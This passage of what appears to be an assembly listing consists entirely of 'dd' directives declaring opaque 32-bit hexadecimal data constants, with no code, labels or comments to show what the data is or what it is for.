		dd 183EF84Eh, 31E8DCDAh, 24A03663h, 0C80EA1DFh,	8071F3C3h
		dd 789583CEh, 1D2D1F80h, 0F7E780F4h, 0B4DB5672h, 0CA0C1A01h
		dd 0F0514B35h, 589E389Ch, 0A644889h, 0DD1AF10Ch, 0E95E1869h
		dd 0C2813843h, 14148096h, 2F77BB9h, 2921CC5Eh, 2491816Ah
		dd 0B208722h, 99C50615h, 2A320C14h, 9876B01Bh, 36806B00h
		dd 1FDBE046h, 18810001h, 3C06AD04h, 70B55E20h, 5C8500D0h
		dd 0FB0E43ECh, 0C7F8B12h, 1E22A400h, 302BD0AAh,	0E4A3006Ah
		dd 847C3344h, 5500C80Dh, 3620C1E0h, 3E3F9257h, 1F80EC63h
		dd 4C6B428Dh, 620FB1C0h, 400DFD40h, 261E100Ah, 0EC5400D0h
		dd 0DCDF90C1h, 0F80031A3h, 0BC51205Ah, 4A5C29h,	0FA992A7Ch
		dd 0C67279F6h, 588BC8C0h, 33A478h, 20E9495Fh, 7E398D80h
		dd 0A8B6F400h, 95946A72h, 7C781F8Ch, 847680ECh,	0A10D2AC5h
		dd 9ADA360Fh, 502CA087h, 0F032E285h, 0B446008Dh, 0B85BF3DEh
		dd 651D897Dh, 50187E68h, 7BC2421h, 1FAEC5DEh, 18E626D2h
		dd 1E50C00h, 0F805CC91h, 0DACA00D6h, 7FAF18ACh,	0EF01E3A7h
		dd 22BCA15Bh, 0CF3028EDh, 0B951C054h, 96AB6D84h, 0FC1D7DF6h
		dd 60039427h, 87E7513Ch, 0AF2CCD0h, 2F8958A4h, 99B5D201h
		dd 8020FD8Dh, 92DDE640h, 5BF73DFh, 3C018E94h, 97A500E4h
		dd 33E80AF3h, 8DA938D8h, 0B7A53757h, 0C98538h, 0F7A3600Ch
		dd 0D8F87329h, 0A8C020E2h, 692554DCh, 300B076h,	0E0967A38h
		dd 101099C4h, 0A500A840h, 0F0F184D9h, 207E6ECh,	82696C35h
		dd 7CC1E490h, 33E78D2h,	63CBB9EDh, 7EC03B1Ch, 0E604033Fh
		dd 8467BE72h, 38A796C0h, 3AE8006Eh, 0B9BF07EDh,	9718FE2Ah
		dd 0A41856C3h, 30FD78EAh, 0B8101C93h, 0C7007A66h, 0C3D2193Ah
		dd 60E739E2h, 0BD6938F4h, 0C000AFACh, 4B57C2FFh, 3D8C6B6Ch
		dd 650F2579h, 23C644B3h, 23981882h, 0D3ED9402h,	80B22C04h
		dd 0D8E5E40Ch, 0FD3918A5h, 78C759E8h, 73F16600h, 7FFE2CCEh
		dd 6F6801B7h, 24BFBAE8h, 4708F03h, 0FDA80055h, 92F0DBh
		dd 69101E38h, 0ABDCD794h, 1B646F7Dh, 0C584EE78h, 0E0C9904Fh
		dd 5E2D4C82h, 8371C702h, 0EC8FB005h, 120FA5DBh,	8089D1E5h
		dd 776CBFDEh, 195400CBh, 0CF564A85h, 99000342h,	0D69DB792h
		dd 0F2343288h, 90DB0348h, 35374673h, 0C079C1E8h, 24383F04h
		dd 78060AAh, 2C293B0h, 6DBA8C2Fh, 26E08BB7h, 90015A59h
		dd 0A92309C0h, 70E0745Bh
		dd 637F0FE9h, 0BF601A06h, 0B1475261h, 0D5C29216h, 5D0006ECh
		dd 5F99A7B0h, 0BD003573h, 0B1FD80A6h, 7B1FCEh, 0D6AF4B84h
		dd 0C97ED7C1h, 0C4E0CBA3h, 8E07E088h, 90745810h, 1D65B2E0h
		dd 0FFDA0024h, 7199A679h, 0B700FE20h, 32A77A4Dh, 3C89BD82h
		dd 414C6752h, 0ABC7C79h, 0D7819778h, 4523E80h, 3A31B7A8h
		dd 77E2106Ah, 0CECC2221h, 0ED3F444h, 0F5D70A3h,	2CB79580h
		dd 0C100C998h, 0E71C33E2h, 1448765Eh, 0F74BBA91h, 8D00C24Ch
		dd 0C14277DEh, 9F72C9E8h, 7428E962h, 0A3E82F92h, 0BB400B88h
		dd 0A042CF22h, 289D1511h, 0C822284Fh, 118C42CDh, 63289F61h
		dd 0A3EF2214h, 2295D822h, 4722AA85h, 0B62E2243h, 4475C442h
		dd 51C69BA7h, 0EEF31Ah,	5F15DF37h, 74E1F711h, 2AD3DD00h
		dd 0FCF62862h, 0AB7861h, 9C2495A8h, 4C343172h, 23908200h
		dd 3CC787E7h, 0B670154h, 0C0B78AF6h, 0E5D4C404h, 581FDFE2h
		dd 2D40DE71h, 85AD3AA8h, 2EFE007Dh, 0B92B3224h,	0DD001E83h
		dd 18489CFBh, 0EC9ED26Ah, 0BBE00034h, 0D89538AFh, 46005514h
		dd 563BE806h, 0F70D499h, 0E204CDD5h, 5360007Fh,	0FABFB372h
		dd 0E46C2D03h, 99AA2BCCh, 83C0AE56h, 538800EDh,	300E1FD6h
		dd 2304E2Fh, 192C1151h,	0A49B0003h, 1CD7DDF2h, 0B800B4F5h
		dd 48530B52h, 0E784088h, 0AB99C664h, 44C5C60h, 61005968h
		dd 90E28E7Fh, 0B4DAF32h, 0C2E8EFA8h, 0D200B38Bh, 5280844Fh
		dd 26750AF4h, 2C017F00h, 0F732AC62h, 0CA653CD6h, 0DB986C8Eh
		dd 0B008D8C7h, 680D9420h, 0BA00AB78h, 1942062Eh, 0B4E5FAh
		dd 0D2884797h, 8AB90483h, 67689C00h, 0E6D9F82Fh, 0FCD3001Dh
		dd 2BFD1219h, 0DC002C6Bh, 20295AFAh, 0F8942A0h,	82379E7Ch
		dd 74F6F020h, 473C3BFFh, 0E0C13F85h, 730CE1D0h,	0E31F008Bh
		dd 74840D4Eh, 18009272h, 9C291907h, 30E0F52h, 0E1DA9EBCh
		dd 0C0FF9679h, 349B5F91h, 0D2FD7500h, 427F35CFh, 0DE80060h
		dd 8F740AC2h, 520EDF41h, 6098A2DEh, 0B0FCF740h,	0AB6A00F9h
		dd 0AC12B8Ch, 8E09290Bh, 81F838D2h, 9634283Ah, 0C02D76E0h
		dd 6518E020h, 0C0243AACh, 7A1CE7BBh, 4089A080h,	28BA5D99h
		dd 74BFB7C8h, 70417D58h, 0BCE628h, 3B798B7Fh, 0E0FA7807h
		dd 0E7E3A41Eh, 2E703400h, 0F22F2591h, 713D6EF1h, 4004CCE4h
		dd 2C3FC635h, 0D5C002Eh, 0C533CF43h, 9E031FA0h,	0BCA5B4FCh
		dd 4A7FC877h, 0A95700B8h, 4B98E80Dh, 2800E660h,	0C3E90908h
		dd 3B35D9h, 0AD4EF5D4h,	8ABFA7EAh, 0CE458426h, 7A2BF000h
		dd 32BD36h, 474920BAh, 4C987B2Fh, 0F8ED6B00h, 0F5074AC5h
		dd 97560B13h, 77804046h, 0DEB6BA27h, 88842B00h,	7F4E4B2Fh
		dd 0E05F0280h, 2C633E90h, 54228580h, 1D004C6Fh,	117B4021h
		dd 39684Dh, 0A17DF7E3h,	0D55BAFB8h, 44034B7Fh, 4EB0BBBCh
		dd 107AEBh, 5416B987h, 0F19CB4D2h, 0C1DABF00h, 222413F0h
		dd 66D30033h, 2A449835h, 0FCA8A7D7h, 72012825h,	8FF213F7h
		dd 0A6E04546h, 1DCA00ECh, 10188BD7h, 9200B3D3h,	0E4330C4Ah
		dd 0EE392A30h, 0EF160151h, 5A75EB12h, 0CF0C3082h, 0F6008FECh
		dd 1C89457Bh, 815D0Ah, 3770012Bh, 40BB54FAh, 6C9F8F00h
		dd 0A022BAF4h, 6FED00CEh, 0BDEA961Fh, 400AB94h,	75F6FEC5h
		dd 7F5AC9E5h, 81E601DCh, 0B143F53Dh, 369FD0AFh,	5480D78h
		dd 0F2DD03BCh, 0D0A53942h, 0D97E92h, 2B1B066Bh,	5B3E859Ah
		dd 9D4D7900h, 7CF5E5F6h, 84C0A362h, 7F080C8h, 0C97AFB3Eh
		dd 399680ACh, 0D1482EA6h, 757B7794h, 0C832DB00h, 79C7E767h
		dd 0D33F1E56h, 8459C09Eh, 30E9B47h, 0A59F1100h,	558242D0h
		dd 7F9300ADh, 6FEC76B4h, 93D5484h, 0D191001Eh, 0E5882C90h
		dd 759F29Fh, 48711230h,	5B8970DCh, 28C009EBh, 0CAF6E76Ch
		dd 0C3A00EB1h, 3F8CB2FEh, 0FB003002h, 16715FDCh, 671CB491h
		dd 0D5909035h, 37C80FECh, 0E04D0111h, 7977752h,	0C098599Ch
		dd 1202710Ah, 1403AB9Ah, 0E0B30EF5h, 0CBD7A304h, 748EC064h
		dd 4C09B067h, 1200C4A4h, 0D92D59ECh, 0A204E739h, 0B3286C0Fh
		dd 761388C0h, 0AA56006Ah, 9D186105h, 0B0D185h, 0D832331Eh
		dd 7FE42AC0h, 721284Bh,	0F95F15Dh, 20EC027h, 0DA01E607h
		dd 64739422h, 35DC50B5h, 0EB38246Dh, 0E30E00C9h, 192266A1h
		dd 4CE4D000h, 0D43E2689h, 13FE0033h, 0F6C1C428h, 3C00F7E7h
		dd 0FCB0196h, 0FA5980h,	0D77EC70Ch, 0F241B638h,	14C11000h
		dd 40CB33FDh, 0DD170089h, 88AC4B01h, 7C0004F5h,	6E54CE92h
		dd 3F062h, 5CE4A741h, 56ABC776h, 0A0C92B2Ch, 8434A407h
		dd 69092DE0h, 0BCB039h,	8BAB31C2h, 0CABAC53Ch, 120D348h
		dd 0EDD40A48h, 0DECC5EE2h, 9CEC6Ah, 38CC194Eh, 0AC3C94Bh
		dd 2E59C600h, 58A9895Fh, 1EE01FAh, 0E7D230D8h, 2DAFF8B0h
		dd 77028800h, 732CFC22h, 92451C6Dh, 0CDC64391h,	0FF811C37h
		dd 3910608Eh, 5019CF00h, 25F5B12Eh, 0F84C4980h,	9112CE02h
		dd 0D84081EDh, 0EE01F372h, 1ADF8C44h, 0BADCDC15h, 0C2320E02h
		dd 9F40B5FBh, 0CDD9E8ACh, 3DC93C00h, 0CEF8A2B2h, 8A5B0035h
		dd 9EFD74D5h, 4600FB5Ah, 6D97CADAh, 18553221h, 0A247E7F7h
		dd 0EA01F378h, 0E1EB62FEh, 0EA80B128h, 4D1FAC58h, 0FD9818F6h
		dd 1B0B2A00h, 6F8D6BCAh, 71B7EE7Ch, 0F7591EEAh,	4C8300CDh
		dd 761011E5h, 800A173Dh, 997703B4h, 564941h, 6EC2AE86h
		dd 7496BD7Eh, 0F4ACCB07h, 720975Ch, 1FEBB158h, 40CD296Ch
		dd 40CF5176h, 0E2001C9Dh, 2B3390A7h, 57AD5Bh, 0FDC51B4Eh
		dd 0AE8517E3h, 1EED8200h, 0D8B57869h, 860300F9h, 4E5C9608h
		dd 6A05F581h, 1992FB18h, 0AC0C26C0h, 90252C8Eh,	688C80BCh
		dd 6509933Ch, 55EBB902h, 60574910h, 0E76978h, 4D24458Dh
		dd 0C5C66EB0h, 2D5AFF03h, 8A50F037h, 3546152h, 0D06A4280h
		dd 534B5C0h, 687989E8h,	5FB4151Eh, 45EAC900h, 18CB30h
		dd 1FA34FF6h, 0D78B0602h, 0F45D2000h, 0FB761712h, 243B0B66h
		dd 140FBCAAh, 0DABB9CC0h, 1438C5C4h, 2EE29E23h,	6735F84Fh
		dd 0DCB78801h, 8072A07Fh, 5B5068Bh, 0DF4B0AD9h,	0F388C0E6h
		dd 1CFC77F1h, 3A9B503Dh, 4CA0F7Ah, 0C32E20F4h, 9548EEh
		dd 0BFC24E69h, 0F6236E5Fh, 706F8E00h, 9B30A5CAh, 42330221h
		dd 0BAB7374Dh, 0EFE46540h, 0DD6DA200h, 89111F27h, 0E5002E1h
		dd 610A8CEh, 3A38AC40h,	69F93400h, 0F2C9DF21h, 0A11F0328h
		dd 0C6C0CB65h, 0F7FD1CB0h, 8B10B707h, 3B40A5D8h, 32027E8h
		dd 7CF9397Eh, 63A005FFh, 0E414B738h, 16B87831h,	7000CB59h
		dd 52D069A6h, 3BE80185h, 118F97C8h, 7759FC1Dh, 41213Ch
		dd 9F1A3A4Bh, 1DF9317h,	0F3BE7C63h, 0E8EC795Eh,	0DA4CCAB8h
		dd 0A1730384h, 886251A2h, 2C9FD354h, 0F444978h,	5363DF92h
		dd 3DC8B6D6h, 0CA2CE8D1h, 8300A02Ch, 3BB8D204h,	4FB0008Fh
		dd 19E71746h, 84073C87h, 3DF91E95h, 0DF70E60h, 0D35E00C0h
		dd 923B20A3h, 2F00A4AFh, 83D795Dh, 2545F9h, 9F9083E6h
		dd 56FE5788h, 5384600h,	0B50481ABh, 73960052h, 0C19B7B65h
		dd 6A13BAFFh, 0F0F365Fh, 552A2527h, 4063DDC2h, 1F1FD572h
		dd 5609D0h, 7E5EDDDAh, 470026F5h, 0A8EBF0AAh, 1F0275E2h
		dd 807982C6h, 0EE08D577h, 0BB0066AEh, 93EDA6D2h, 0CE6207h
		dd 9D7D058Dh, 652E5517h, 0F9296909h, 3933004Ah,	3E31220h
		dd 0AB32D2F6h, 1FA86E1Ch, 2550509Fh, 24EBC894h,	7601CE4Ch
		dd 6ECD6977h, 20301E04h
		dd 61580044h, 5E5C1F7Fh, 0F100D8A4h, 0D1EE0270h, 0EAA66Ch
		dd 0E903799Ah, 9C4D67CEh, 2CCF9200h, 18A5BDBAh,	0CDA400D2h
		dd 0DAADE135h, 0B500A232h, 0B62746A3h, 3AF8C9Eh, 0CA830BC8h
		dd 6DB8B910h, 6B04CFAEh, 0F276AD8Bh, 8507B4C0h,	16DC0090h
		dd 0BC779574h, 0D60523A8h, 0FEAD8F20h, 70254EC0h, 0C4D8F5E2h
		dd 0A2B160E3h, 7EAB9015h, 54BE0B00h, 0AE8E1730h, 0D3E30010h
		dd 0CEF5412Eh, 0CB00DC25h, 812C6E96h, 3C2D649h,	7582704h
		dd 3D9BECFCh, 61913E0h,	689B1C0Fh, 84B4203Eh, 74A0123h
		dd 0D826AADAh, 4293A072h, 0DFFCC71Bh, 1A00317Ah, 30985FEEh
		dd 79F4CEh, 0C2187687h,	6413DEDAh, 0CA00FDF6h, 9194866Ah
		dd 3899C0C7h, 981D5B9h,	31F6054Ah, 77282049h, 212BC501h
		dd 67CB233Ah, 0DFB420h,	0E5BE1160h, 0A120C2ACh,	0CCEED40Eh
		dd 0FBC1A09Fh, 0CEFCD91h, 0FE7765B9h, 0DA002F3Ch, 0CA3FCB55h
		dd 3030393Ch, 0E9106BCDh, 96263807h, 1C0F6C42h,	0C4DC4170h
		dd 6C60AFB7h, 5EE7003Eh, 0C23CE53Dh, 0E100C50Eh, 0D55D0AF9h
		dd 1D45BFh, 627F802Ch, 234450D0h, 0FE27BD1Fh, 0E3898340h
		dd 6D2A842h, 1BD63808h,	0A900C05Fh, 0CC5BB495h,	527A97h
		dd 99557B59h, 2EF2373Eh, 3C91DC0Eh, 0CD6FC07Dh,	8C39Ah
		dd 0B17ED098h, 53B2C403h, 49C55907h, 9E461646h,	91C30518h
		dd 0C0CCD95Ch, 0F0AEAA34h, 0A02FBF03h, 0B7AFFh,	838F6919h
		dd 0F991AAB6h, 0E40F271Fh, 92C68480h, 35E8F7h, 6F56961Ah
		dd 2350EF81h, 0BE2BDC01h, 668CD15Ah, 0A09FC080h, 0ECA4FED0h
		dd 62608200h, 5D0CAD14h, 3B8100E1h, 0F9AE0D50h,	3C003724h
		dd 1BEF7BE2h, 3FF0A16h,	0F07AFC0Bh, 107A2B0Eh, 0D6F9470Ah
		dd 5C00C0BFh, 0C4DD7FB2h, 0BDC228F8h, 261300BDh, 1D59F330h
		dd 78BD5AA2h, 2F83009Fh, 7E43A7A1h, 0BD1C2432h,	4D405DB5h
		dd 71681188h, 9D9C9491h, 1B04809Ah, 6105F4C3h, 4B26B804h
		dd 0F08052E3h, 14F2249h, 0B7F87A84h, 0FE09C337h, 0A0DC898h
		dd 76EA7103h, 0D0707F9Ah, 0B8983340h, 2EC37D60h, 0E8632Ah
		dd 92C51A08h, 0E7181452h, 0FC363E03h, 0ED6F008Bh, 0CE70998Dh
		dd 8007D3Bh, 2D06CBFBh,	1EFD7341h, 0FE17B4h, 6AF27FAEh
		dd 0EE1DDF1Ch, 96C00C09h, 0E6F71A6Bh, 0CFA002FAh, 33F432F3h
		dd 0A94CB4C0h, 0C4885C00h, 6A1827ACh, 3A5ECA4h,	0AF91FCCAh
		dd 68E08A47h, 0B14BD92Bh, 0E3523B0h, 0B29E0228h, 2E56CC63h
		dd 0C15BF6C9h, 0A1FC700Bh, 72C4873Dh, 0EB1C00B8h, 0F7C072B9h
		dd 9BA882DBh, 5981001Ah, 2D37430Ah, 451E8F07h, 31C00190h
		dd 5AFC6DC3h, 80580093h, 23B304Ch, 64946438h, 0FD846100h
		dd 0D35F12h, 8C77F7F0h,	0C63A37C5h, 50CF7924h, 0B5C49400h
		dd 0F8903CA8h, 30052503h, 0C326D805h, 0C81F234h, 855CEC8Ch
		dd 0D33E8A00h, 10C67F9Eh, 0FB2838CAh, 0B833BB8Fh, 0DAC9B07Fh
		dd 0B703DEC8h, 8CFDEBA2h, 62F3980Ah, 0E008B816h, 0E63101D2h
		dd 38094AC9h, 3F2430FEh, 2E5F100Bh, 92EC0001h, 2CDC9954h
		dd 99B79E1h, 8C4076D0h,	2000AF89h, 8B549E74h, 6FF160h
		dd 99B723Bh, 1584165Ch,	698AB38h, 240A05DBh, 45FF01B0h
		dd 937CF03Dh, 0D8F0207Eh, 880D5A2Eh, 0CAE42B80h, 2E30E3Fh
		dd 3C446DFh, 1CE05DCCh,	0DEFAD01Eh, 50AF9300h, 0D1D3A95Bh
		dd 33680064h, 0BFFEFAF5h, 9B00A5F9h, 4D7EF791h,	0B7E153h
		dd 62F57584h, 61597746h, 6011D702h, 0E1150DEDh,	2D067F0h
		dd 2EC30987h, 3E00A273h, 78E58C06h, 44E8C8ECh, 0F41CD624h
		dd 3D83E380h, 0FBD2666h, 0C962237Ch, 1FCF9620h,	0E22EA705h
		dd 0EE020154h, 0E2DE8B34h, 109E84AAh, 0A8F5C883h, 0E1B80Ch
		dd 0CD7940BDh, 0F4A502A6h, 0E817B907h, 39B37057h, 32313EA0h
		dd 51CC2Eh, 0F8A2D5FEh,	3D00F599h, 80564FD7h, 3C8BDAh
		dd 6C4492B2h, 0BF6AE8BAh, 3101B500h, 60281CDFh,	18B20002h
		dd 0A0C67DBEh, 0E7E87750h, 0FD3EA609h, 0D781576Ch, 6060BE2Eh
		dd 0A07BC3BCh, 0E4F15E00h, 346FE051h, 26270036h, 31FFF69Ch
		dd 0E51266D6h, 10077909h, 0BC24161h, 38906064h,	44A00229h
		dd 0D375C587h, 5D009CD0h, 1095F1DFh, 7CE3FF0Fh,	0A132EA3h
		dd 2A1900D4h, 0F238D85Bh, 0C918F60Fh, 0AD49FF82h, 338C825Ah
		dd 0C3B440B1h, 0A5F7FD0h, 9ACBB7CAh, 174D01B8h,	300C2EF8h
		dd 0D4580A00h, 0F8992620h, 25463780h, 0B9D583h,	0EA5D5C11h
		dd 937442A3h, 54C68E07h, 1A30386Ch, 75F9EF1h, 2C850666h
		dd 0ABFB904Ah, 0BF1DE0A7h, 0C9807F62h, 55D27E2h, 3A951FFCh
		dd 40D1976Ch, 692596E0h, 0C00FC8EBh, 7B15317h, 5590212Fh
		dd 749A5120h, 9F76303Ch, 2BFB6610h, 84B8A1F4h, 58FF1C00h
		dd 26E6730Ch, 0D2C400D0h, 10276239h, 1A000FD3h,	4F6A24E4h
		dd 3CA336E8h, 5D811113h, 17D8EC7Dh, 6159819Eh, 0BAC388A2h
		dd 2045B840h, 81890021h, 87AF30C7h, 0C6ECCDADh,	7992EA00h
		dd 0CA166FDBh, 12BD000Ch, 51D2E4E2h, 59EE1E26h,	7C07134Bh
		dd 1BB1831h, 61505DE0h,	0F6EB9300h, 0ADFC8E50h,	31E82Fh
		dd 0B2466C0Ch, 58C0000Ch, 240706A4h, 6F1714D6h,	3413C6D7h
		dd 0B8FD2200h, 0E69479BBh, 0E1190FD3h, 664075FAh, 9791C4E4h
		dd 0E07BF701h, 0F37E2B9Eh, 744B060h, 0AD22986Eh, 8ABDD317h
		dd 0CD563AC0h, 1FFFD43Ch, 33CEC3A1h, 0CF640E39h, 1C0D6104h
		dd 8830E314h, 3AA6023Ch, 27B35533h, 0A93008C0h,	250AD800h
		dd 5F60662Ah, 0DE4A18FCh, 0EB42C6A3h, 0D2DB6500h, 22ABF326h
		dd 19E326EFh, 0FD8D0124h, 71526Ah, 16040623h, 0C211C1F1h
		dd 20701908h, 0EE70FA09h, 3C59F808h, 0E42E54F9h, 0B1108018h
		dd 0FFDF72F0h, 1A636918h, 7ACE7710h, 6C2848FCh,	76EC5101h
		dd 0F4CD2255h, 0AE0E07E3h, 9EFCE213h, 0D36D9480h, 0F699A1CAh
		dd 0C5F4C08Ah, 6E2D38F4h, 6164E800h, 3FD11A25h,	13D70071h
		dd 0EB2A52ADh, 0A30063A8h, 1618E7F0h, 0FE41F5FDh, 0FB0C02E5h
		dd 6234024Fh, 0A5DA2040h, 0B3580300h, 296699E3h, 3B51000Dh
		dd 625087EEh, 0D678197Ch, 0A2443607h, 0F270CD7Dh, 26FE5547h
		dd 800C0E16h, 1326539Fh, 9A0032A9h, 51459772h, 5B3CF982h
		dd 35280212h, 28C8E749h, 2202D5C6h, 970CB1E5h, 0ECB87887h
		dd 63B813CBh, 5A184FC5h, 0A5C8BB02h, 0D54CA041h, 15D6E89Eh
		dd 0F808AC24h, 475313h,	5B576B38h, 0E5AA5Ch, 0F2E4F98h
		dd 1B518DA8h, 6AF52700h, 3422AC39h, 0E16100C8h,	531FD09Eh
		dd 1900815Eh, 66E7EF5Dh, 0B641CEh, 0AC835BCh, 53F9CC84h
		dd 2BDBDD00h, 9CE2FBE1h, 0AFD0C069h, 132F20F1h,	0B0F2DC04h
		dd 0B4C1A5B3h, 0CBF4D18Eh, 3F9D019Eh, 0CE67D32Ah, 25CC2851h
		dd 6CD40725h, 3BFDC061h, 28391081h, 30846668h, 612FEC84h
		dd 4894AFh, 58B56963h, 0B6D4C9F3h, 7DF11900h, 0EFA6BD76h
		dd 5F93E0Bh, 9FBC3E3Dh,	35CE2580h, 6EEA1E14h, 0AC11F00h
		dd 0A14D10D8h, 0C9A60EC5h, 3E91F4h, 6B525A19h, 5CEC8780h
		dd 0B4A7620Fh, 4817E1F8h, 0F0EFA2EDh, 1FCC3EBh,	7C731AABh
		dd 80D6A54Ch, 118D3B40h, 0F09DB598h, 69BB09EFh,	3050786Bh
		dd 0B100FBEEh, 35378713h, 12CC17h, 9EFD9B7Ah, 58AD55EFh
		dd 8132EB13h, 0E0903457h, 1833CB25h, 0DC185CC6h, 3200C798h
		dd 0AA43D9E9h, 0E4A17B0Ch, 0E0B8F3h, 0EE32536h,	5A2B0491h
		dd 9C49B800h, 5E8BA0F1h, 68D86106h, 207D3D95h, 9A0FB558h
		dd 0F2DA0F6Fh, 20C84840h
		dd 0FE8D29Fh, 8BC43B47h, 90FEF0E4h, 0C2F2034Ch,	498034F7h
		dd 98A55509h, 41870C38h, 0B6EA004Fh, 0F07A5785h, 9B004EB1h
		dd 0C676981Bh, 70FB5h, 8FEBD7ACh, 0FFCB7795h, 88A8B000h
		dd 112A8C14h, 0F598011Ah, 8E4F4E9Ch, 20AC40D5h,	0A5004BABh
		dd 2BCD99AAh, 1C4F3F8h,	82ECA32Ch, 2AA79D5Eh, 0B07ED873h
		dd 15C049Ah, 661D2B6Fh,	0CC2C623Ah, 51030517h, 0E43D10C6h
		dd 0A4309006h, 2C103E9h, 0F8BE59E5h, 0E753ADA8h, 8934BC02h
		dd 418EAB0Dh, 61DC329Fh, 0B20900B4h, 2FAA8C58h,	9C0071DBh
		dd 0CEC6163Eh, 4E0E3Bh,	3336B013h, 0C406FA3Fh, 4BA1500h
		dd 0AF8D58EDh, 9DC80018h, 89EB6D95h, 53013914h,	386E27B7h
		dd 0CA21CEFAh, 4FB317DCh, 0C2CC0030h, 1B247C86h, 0A4C440FFh
		dd 0E0102D6h, 0E9614105h, 1C207F7Ah, 7C372614h,	0C6A20F8Eh
		dd 0B883B2E3h, 61030AC0h, 0CC45F900h, 0FDCD87D4h, 6C9E0CCAh
		dd 862EB773h, 56C24E07h, 3BB1F135h, 3E609BEAh, 0DAF40CD1h
		dd 3721B7A7h, 742E5800h, 0F890136h, 122D01D4h, 1605E28Ah
		dd 503F60D5h, 6FEBC400h, 0D32C9E11h, 0C0240F4Ah, 8D4394F2h
		dd 0C9C01965h, 4D3B2E5Eh, 42180C2h, 0B3F48240h,	10DF1F33h
		dd 4737079Eh, 0EA7A329Dh, 0BE5060F8h, 88C9EDE0h, 0E2850BBh
		dd 0D04AFD7Bh, 0D9604DCFh, 95B30B11h, 159D5C01h, 0F53EAA4h
		dd 7972C8h, 73449745h, 0F5A2B8B5h, 0A4E27539h, 871CB862h
		dd 9C1DD183h, 560BB085h, 77F30065h, 72849E8Ch, 0F60082BDh
		dd 0FB28767Ch, 269516B8h, 8074ACE7h, 0B4CDF3D3h, 2C0FCEF6h
		dd 4B5F3212h, 556C012Dh, 99CC5238h, 0D82800DDh,	822440FAh
		dd 0A4070462h, 10D60832h, 0CADA5AE1h, 190A8CCh,	2384E61Fh
		dd 0C6E39126h, 0EF646C48h, 78009E7Bh, 0DA639B38h, 25C0BAFBh
		dd 0FC42B849h, 0C4A0B4C2h, 0DC5CD85Fh, 56AF7400h, 899BE459h
		dd 0D71A0496h, 0C0C82DB2h, 86A35C60h, 71B07BECh, 246DE913h
		dd 0CB154040h, 0C0924965h, 567D0F51h, 3016E3Eh,	0F12EA066h
		dd 0DD20311Ah, 95E1007Bh, 94A20264h, 0E81682CBh, 0F84EE53Bh
		dd 0E3D3007Eh, 0A1B2FEh, 2F3039C2h, 0E82114F2h,	4DAEB000h
		dd 0D1F095FFh, 0F4300C9h, 0AFEB49D0h, 0BD002667h, 0BC75CB61h
		dd 398645A2h, 5A92CD04h, 0C0631C72h, 6A984D9Dh,	0D32C2983h
		dd 8800485Eh, 6BF22DA7h, 339F0930h, 60A0828Ch, 0C7B5DE57h
		dd 0A0603Dh, 0BE166E2h,	1D9639B7h, 40A24A76h, 0C3F7BCD5h
		dd 8800AA03h, 0E542F6A6h, 179E2ED3h, 0BF569Bh, 0D2628D56h
		dd 0F2011088h, 365C6097h, 82D069F7h, 0FD9838h, 72FE9EA7h
		dd 0B050F86Eh, 0F67EF498h, 0CB7CF914h, 0A3C0091h, 94D801EDh
		dd 330900B0h, 85471C56h, 6002455h, 66845CD9h, 0B88A5B88h
		dd 0CF0C300Eh, 0AABE5429h, 0FD466A00h, 0F3E104CDh, 967216A3h
		dd 0C6B85Ah, 3667FF33h,	941113C1h, 570B8078h, 8DEC7F83h
		dd 0CB21400h, 6A6640C8h, 991800B9h, 686113F8h, 6E00EC4Bh
		dd 856971FFh, 72568A20h, 0C8B834h, 49BFEF72h, 403F5225h
		dd 3D12D890h, 0F400451Ah, 0A0157D19h, 9273723Ch, 0AC220060h
		dd 2ADD6479h, 0C0001610h, 34C39D9Fh, 328215Eh, 88D8EF15h
		dd 0EC3A2FAFh, 0C0506ED5h, 0C3C52DFBh, 4AF000E8h, 3438B25Ch
		dd 1400CAE4h, 0CC247B2Bh, 3AB05EC5h, 0AB009C4Fh, 53722FADh
		dd 401D41E9h, 8BC3BBD8h, 0C883BE13h, 7A4E066h, 5B187C2Bh
		dd 467411A0h, 4311803Eh, 0DBCA706Ah, 89933D2Fh,	0F1E25380h
		dd 3AE14021h, 0D94A7402h, 4825AD09h, 113C94h, 0BAD2BB5Bh
		dd 0A74ACAE9h, 7E128AEAh, 0DC409E3Fh, 0C93BBB30h, 704400B5h
		dd 7827E49Ah, 3903165h,	0BD365001h, 0EB90BBA7h,	0E6D958F8h
		dd 9431E08h, 5D55C5C8h,	3E8E01CCh, 0D360D1D5h, 0C8FF5FA9h
		dd 9AEA1FD6h, 63472D48h, 0B8437011h, 1DE7BD7Eh,	9492C338h
		dd 0B064E179h, 43BCB011h, 88572400h, 192D55DEh,	327BC9h
		dd 27AF5D5Eh, 2C1828B0h, 8D7C5100h, 2B489DBEh, 0CA8C58B7h
		dd 0C4A82Eh, 0FC2D2A57h, 0ED006D32h, 772EE3F9h,	1E9473Dh
		dd 856568A7h, 0E2F77B06h, 4C89C0E0h, 8D00BD7Ch,	784B7EE1h
		dd 1E97B4BBh, 424EFEDBh, 0AA39FD73h, 84019440h,	91F39902h
		dd 7BBA1F41h, 49060018h, 0CF81F763h, 0E12E16EAh, 0F90028C2h
		dd 28D7EA46h, 277526CDh, 1E3005Ch, 0B1EEAA68h, 2048DC02h
		dd 0C8C59ED3h, 931CC8h,	818A0391h, 0EE4C7B28h, 0EF7C0898h
		dd 98839D01h, 1FD9C160h, 61EAC040h, 8D800156h, 0B43D7D7Ch
		dd 0E018A020h, 0D952C800h, 0FB95EA1Bh, 34A9009Eh, 65617596h
		dd 933DC3EBh, 0AE2580F8h, 49E55688h, 9D960081h,	0DA902E09h
		dd 80029428h, 44A35564h, 0B21840B6h, 0D33E3C45h, 0B00BD880h
		dd 99C5FCAFh, 3FF7E701h, 786B149Fh, 3A3BE471h, 0C218C400h
		dd 715DDE30h, 0B4D1D913h, 89C16A00h, 2129E81h, 497B2A5h
		dd 0F4803F87h, 0E5AD2AA3h, 57B67F2h, 689FB501h,	96A9F631h
		dd 4106E4h, 0F177CB9Dh,	5DE0EF2Fh, 45932D00h, 36CA0F1Eh
		dd 420900D7h, 0F2DB1722h, 0B8257406h, 5BE060F5h, 56AE0985h
		dd 0A020AB44h, 0A4D82C0Eh, 4CA5E03h, 0E8C02B26h, 345F4EAEh
		dd 80AEF0CEh, 0C7F65D0Dh, 28C90231h, 0DEF43963h, 0D751CFEh
		dd 6D807AC4h, 0A0E5CC36h, 0B37C06E9h, 9509BDEAh, 3F85DF1h
		dd 8C6391A4h, 0D71380ECh, 87FC07EBh, 3C00BBBEh,	984FBA53h
		dd 9B024302h, 60041F6Fh, 0DA063Ah, 0AA85AF63h, 0FB0DFD75h
